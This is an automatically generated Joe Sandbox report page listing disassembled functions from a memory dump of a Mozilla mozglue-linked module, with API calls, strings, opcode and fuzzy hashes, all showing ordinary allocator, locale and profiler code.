Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction ID: c2e9d66c7664e757c26c9a7ae4a40edfb6a1e0f7dd50b8b1ea0aa2aabe4a4484
Opcode Fuzzy Hash: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction Fuzzy Hash: B641AE307002148FCB00EFA9CC88AAE77B5EF89314F855469E50A9B791EB34ED05CB65

Function 6C50CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4D31A7), ref: 6C50CDDD

Strings

<jemalloc>, xrefs: 6C50CF9F, 6C50CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C50CFA4, 6C50CFB8

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction ID: bdf98bc23b7036e1ce9493a52bbdfc81020d7f9e8ef2ee296cd1bea1899adbb8
Opcode Fuzzy Hash: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction Fuzzy Hash: A231B4707402055BEF11BEA58C45BAE7BB5AF82718F714519F611EBA80DB70F400CBB6

Function 6C4DECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C4DED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4DEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C4DEDCC
CreateFileW.KERNEL32 ref: 6C4DEE08
free.MOZGLUE(00000000), ref: 6C4DEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C4DEE32

Part of subcall function 6C4DEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C4DEBB5
Part of subcall function 6C4DEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C50D7F3), ref: 6C4DEBC3
Part of subcall function 6C4DEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C50D7F3), ref: 6C4DEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C4DEDC1

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction ID: 43eec158095b96cf7f8926302b25dc59d230676e3bacc979cb5fb84344dd10ce
Opcode Fuzzy Hash: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction Fuzzy Hash: 5F51BE71D052058BDB01EF68C890EEEF7B1AF59318F46852DE8556B740EB30B949C7E2

Function 6C54A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A565

Part of subcall function 6C54A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C54A4BE
Part of subcall function 6C54A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C54A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C54A6B6

Strings

0, xrefs: 6C54A5FB
z, xrefs: 6C54A6AE

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction ID: a22cfca7e0ec4809c0bcded96d63afa0a00d75b452c2d2d3adea9534b530caf2
Opcode Fuzzy Hash: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction Fuzzy Hash: C94128759087459FC781DF28C480A9FBBE5BFC9354F508A2EF49987650EB30E549CB82

Function 6C519420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
__Init_thread_footer.LIBCMT ref: 6C51949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C51946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C51947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C519459

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction ID: 1f048b8e297d4584bead40d8e529396be2c55c97babd6f4513f76065092be8d0
Opcode Fuzzy Hash: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction Fuzzy Hash: F001D470A04101CBE700DBADDC19A5E33B5AB4A32DF460A37ED0B86F51E761E864899F

Function 6C520F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C520F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C520F88
GetCurrentThreadId.KERNEL32 ref: 6C520FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C521067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5210A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C52114B

Part of subcall function 6C518AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C531563), ref: 6C518BD5

free.MOZGLUE(?), ref: 6C521174
free.MOZGLUE(?), ref: 6C521186

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction ID: 1ee12da314afcc678db07f88ae9bd056a9d4ad0b99b708fb6127eed362170356
Opcode Fuzzy Hash: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction Fuzzy Hash: C4619975A043409BDB10DF24CC80BABB7F6BFC9318F05891DE88957691EB75E849CB82

Function 6C4DB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6AC

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C4DB61E), ref: 6C4DB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB79A

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction ID: b8ba31d479dfa37159fbea0e31962d52bd514a2a4767d916ef85a0a841be9043
Opcode Fuzzy Hash: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction Fuzzy Hash: 8441B3B2D001159FCB04EF68DC90EAEB7B5BF84324F264669E825E7780E731AD0587E1

Function 6C4DEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C555104), ref: 6C4DEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DEFEC
free.MOZGLUE(?), ref: 6C4DF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C4DF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4DF065
moz_xmalloc.MOZGLUE ref: 6C4DF072

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction ID: 8c2c78ee163ce345aeb9a9382c8cdf6224992bad22d44fd63978911aee6e8b1c
Opcode Fuzzy Hash: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction Fuzzy Hash: D041F6B1A002059FDB18DF68DC90DAE7769BF88318B25422CE815DB794EB31E905C7E1

Function 6C54B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C54B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C54B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C54B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C54B5F4
__Init_thread_footer.LIBCMT ref: 6C54B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C54B61F
std::_Facet_Register.LIBCPMT ref: 6C54B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54B655

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction ID: 6bb4df23af8f54ea8cf92ffafdd07cc5e273403050cbfb2a950d692f924c1407
Opcode Fuzzy Hash: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction Fuzzy Hash: 60318F71B00204CBCF00EF69CC989AEB7B5FF8A324B964519D90697781DB31A906CB95

Function 6C516590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5167C8

Part of subcall function 6C524290: memcpy.VCRUNTIME140(?,?,6C532003,6C530AD9,?,6C530AD9,00000000,?,6C530AD9,?,00000004,?,6C531A62,?,6C532003,?), ref: 6C5242C4

Strings

vUl, xrefs: 6C51696C
data, xrefs: 6C516593

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vUl
API String ID: 511789754-3511496017
Opcode ID: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction ID: 1aa911cf9f449c6251d9080a358008f546be6580e3ac84a90826315a0d3c4f27
Opcode Fuzzy Hash: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction Fuzzy Hash: 5BD19E75A083408BD724DF25CC55B9EBBE5EFC5308F50892ED58987B91EB30A849CB92

Function 6C50D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C4DEB57,?,?,?,?,?,?,?,?,?), ref: 6C50D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C4DEB57,?), ref: 6C50D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C4DEB57,?), ref: 6C50D673
free.MOZGLUE(?), ref: 6C50D888

Strings

|Enabled, xrefs: 6C50D81E
WMl, xrefs: 6C50D5D9, 6C50D63F

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WMl$|Enabled
API String ID: 4142949111-27182069
Opcode ID: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction ID: 6b77c40a96e019b1baa90a57332318e1965589b368983649f8042ab0972dc88f
Opcode Fuzzy Hash: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction Fuzzy Hash: 9AA1E2B0B003058FDB11CF69CC90BAEBBF1AF49318F58855CD899AB742D735A945CBA1

Function 6C4EB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE), ref: 6C4EB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB896

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction ID: 98c30d6e9b0eb1191556452bb368863457d3b27bef8a89c100187807ffe18f21
Opcode Fuzzy Hash: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction Fuzzy Hash: 1A516A357006048FCB15DF59C888E3AB7F5FF8D31AB5A8559E98A87751C730E802CB88

Function 6C521D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C521D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D4C
GetCurrentThreadId.KERNEL32 ref: 6C521DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C521DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C521DDA

Part of subcall function 6C521EF0: GetCurrentThreadId.KERNEL32 ref: 6C521F03
Part of subcall function 6C521EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C521DF2,00000000,00000000), ref: 6C521F0C
Part of subcall function 6C521EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C521F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C521DF4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction ID: 67f9729a0c717aecc77407e37afc9ad5a1c7021f2f71dde8b5abc7677540f3d5
Opcode Fuzzy Hash: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction Fuzzy Hash: A04166B5200700DFCB10DF29C888A56BBF9FB89324F51442EE99A87B81DB75F854CB95

Function 6C5184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185AC

Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51767F
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C517693
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185B2

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
